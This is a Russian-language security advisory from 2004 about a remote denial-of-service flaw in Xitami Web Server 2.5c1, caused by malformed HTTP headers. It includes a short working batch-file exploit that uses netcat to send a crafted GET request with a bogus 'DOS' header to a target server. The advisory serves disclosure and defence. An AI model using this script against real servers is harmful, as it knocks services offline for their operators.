Удаленный отказ в обслуживании в Xitami web server

Дата публикации:
25.07.2004
Всего просмотров:
980
Опасность:
Средняя
Наличие исправления:
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
Уязвимые версии: Xitami Web Server 2.5c1

Описание: Уязвимость обнаружена в Xitami web server в обработке HTTP заголовков. Удаленный пользователь может вызвать условия отказа в обслуживании.

Удаленный пользователь может представить HTTP get запрос с некорректным заголовком (типа ‘DOS’), чтобы вызвать условия отказа в обслуживании на целевой системе.

Пример/Эксплоит:

if '%1'=='' echo Usage:%0 target [port]&&goto :eof
set PORT=80
if not '%2'=='' set PORT=%2
for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need nc.exe&&goto :eo
f
echo GET / HTTP/1.0>http.tmp
echo HOST: %1>>http.tmp
echo DOS>>http.tmp
echo.>>http.tmp
nc -w 10 %1 %PORT% < http.tmp
del http.tmp

URL производителя:http://www.xitami.com/

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: DOS@XitamiHTTPd

или введите имя

CAPTCHA